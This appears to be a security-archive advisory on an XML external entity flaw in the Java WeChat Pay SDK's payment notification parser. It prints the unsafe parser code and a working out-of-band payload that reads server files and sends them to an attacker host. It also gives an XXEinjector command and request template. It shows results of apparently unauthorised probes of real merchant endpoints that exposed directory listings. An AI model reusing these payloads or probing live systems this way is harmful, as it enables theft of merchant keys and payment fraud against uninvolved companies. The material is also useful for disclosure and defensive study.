exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WeChat Pay SDK XXE Injection

WeChat Pay SDK XXE Injection
Posted Jul 2, 2018
Authored by Rose Jackcode

The WePay Chat SDK suffers from an XML external entity injection vulnerability.

tags | exploit
SHA-256 | dc799ed5541ef9c408c36d05245165306bc138d2bf7e6d43b1720f640049b01a

WeChat Pay SDK XXE Injection

Change Mirror Download
Hi List,


[Title]


XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites)


------------------------------------------


[Background]

aMobile payments surge to $9 trillion a year, changing how people shop,
borrowaeven panhandlea, as WSJ.com once reported. As a payment security
researcher, I occasionally found a perilous problem about WeChat Pay which
I think may be esay to make use of. Therefore, I hope to be able to
contact with WeChat Pay quickly.


------------------------------------------


[Description]

When using WeChat payment merchants need providing a notification URL
to accept asynchronous payment results. Unfortunately, WeChat
unintentionally provides a xxe vulnerability in the JAVA version SDK which
handles this result. The attacker can build malicious payload towards the
notification URL to steal any information of the merchant server as he or
she want. Once the attacker get the crucial security key (md5-key and
merchant-Id etc.) of the merchant , he can even buy anything without paying
by just sending forged info to deceive the merchants.

WeChat can fix it by updating the SDK quite easily, however the bad side

is while exposing merchants may need a long time to go for the sake of time,
cost and skills needed.


------------------------------------------


[Authors]


1024fresher

------------------------------------------


[Detail]


The SDK in this page: https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1

Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup i1/4





README.md in WxPayApi_JAVA_v3.zip,it show more details:



notify code example:

[

String notifyData = "....";

MyConfig config = new MyConfig();

WXPay wxpay = new WXPay(config);

//conver to map

Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);


if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {

//do business logic

}

else {

}



]

WXPayUtil source code

[


public static Map<String, String> xmlToMap(String strXML) throws
Exception {

try {

Map<String, String> data = new HashMap<String, String>();

/*** not disabled xxe *****/

//start parse


DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();

DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();

InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));

org.w3c.dom.Document doc = documentBuilder.parse(stream);



//end parse





doc.getDocumentElement().normalize();

NodeList nodeList = doc.getDocumentElement().getChildNodes();

for (int idx = 0; idx < nodeList.getLength(); ++idx) {

Node node = nodeList.item(idx);

if (node.getNodeType() == Node.ELEMENT_NODE) {

org.w3c.dom.Element element = (org.w3c.dom.Element) node
;

data.put(element.getNodeName(), element.getTextContent
());

}

}

try {

stream.close();

} catch (Exception ex) {

// do nothing

}

return data;

} catch (Exception ex) {

WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);

throw ex;

}

}



]








------------------------------------------


[Attack demo]



Post merchant notification url with payload:


<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % attack SYSTEM "file:///etc/">

<!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd">

%xxe;

]>


data.dtd:


<!ENTITY % shell "<!ENTITY &#x25; upload SYSTEM 'ftp://attack:33/%attack;
'>">

%shell;

%upload;



or use XXEinjector tool ahttps://github.com/enjoiz/XXEinjectora


ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl


req.txt :

POST merchant_notification_url HTTP/1.1

Host: merchant_notification_url_host

User-Agent: curl/7.43.0

Accept: */*

Content-Length: 57

Content-Type: application/x-www-form-urlencoded


XXEINJECT





In order to prove this, I got 2 chinese famous company:

aamomo: Well-known chat tools like WeChat

bavivo i1/4China's famous mobile phone,that also famous in my country



Example momo :

attack:

notify url: https://pay.immomo.com/weixin/notify

cmd: /home/



result:



***

logs

zhang.jiax**

zhang.shaol**

zhang.xia**

****


attack:

notify url: https://pay.immomo.com/weixin/notify

cmd: /home/logs



result:

***

moa-service

momotrace

****


Example vivo :

attack:

notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo

cmd: /home/



result:

tomcat


attack:

notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo

cmd: /home/tomcat

result:

.bash_logout

.bash_profile

.bashrc

logs


attack:

notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo

cmd: /home/tomcat/logs

result:

****

tomcat-2018-06-28.log

tomcat-2018-06-29.log

tomcat-2018-06-30.log

*****








------------------------------------------


[Reference]


https://www.youtube.com/watch?v=BZOg_NgvP18

https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf



Regards,


1024rosecode


Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    66 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close